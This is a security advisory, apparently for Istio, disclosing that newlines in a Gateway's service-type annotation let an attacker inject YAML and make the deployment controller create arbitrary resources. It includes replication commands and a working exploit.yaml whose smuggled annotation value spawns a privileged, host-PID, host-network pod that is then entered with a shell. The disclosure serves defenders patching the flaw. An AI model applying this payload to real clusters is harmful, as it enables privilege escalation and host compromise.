Advisory: https://github.com/istio/istio/security/advisories/GHSA-mq8f-9446-c28r

An attacker with permission to create gateway.networking.k8s.io/v1alpha2/Gateway resources in a namespace can cause the Istio gateway API deployment controller to create arbitrary resources in any namespace (e.g. a privileged pod). This role might be granted to an “application administrator” in the Advanced 4 Tier Model or a “cluster operator” in the Simple 3 Tier Model of the Gateway API security model (https://gateway-api.sigs.k8s.io/concepts/security-model).

This vulnerability occurs because the deployment controller (istio/pilot/pkg/config/kube/gateway/deploymentcontroller.go) uses a go text/template to craft YAML which is then used to create k8s resources. When the deployment controller creates the required service for the gateway, it uses the networking.istio.io/service-type annotation to set the type of the service without validation. Since annotations can contain newlines, this annotation can be used to inject additional YAML keys. The yaml.Unmarshal function used to unmarshal this data handles duplicate keys by using the last seen key. As a result, the attacker can change the kind and spec values, fully controlling the resource deployed by Istio.

To replicate, use the following steps:

  1. Install istio:
istioctl install
  1. Install the gateway-api CRDs (as documented here https://istio.io/latest/docs/tasks/traffic-management/ingress/gateway-api):
kubectl kustomize "github.com/kubernetes-sigs/gateway-api/config/crd?ref=v0.4.0" \
  | kubectl apply -f -
  1. Apply the exploit:
kubectl apply -f exploit.yaml
  1. Observe the privileged pod created:
kubectl exec -it deploy/shell -- bash

exploit.yaml:

apiVersion: gateway.networking.k8s.io/v1alpha2
kind: Gateway
metadata:
  name: gateway
  namespace: default
  annotations:
    networking.istio.io/service-type: |
      LoadBalancer
      apiVersion: apps/v1
      kind: Deployment
      metadata:
        name: shell
        namespace: default
        labels:
          app: shell
      spec:
        replicas: 1
        selector:
          matchLabels:
            app: shell
        template:
          metadata:
            labels:
              app: shell
          spec:
            hostPID: true
            hostNetwork: true
            containers:
            - image: nginx
              name: nginx
              securityContext:
                privileged: true
spec:
  gatewayClassName: istio
  addresses: []
  listeners:
  - protocol: HTTP
    port: 80
    name: http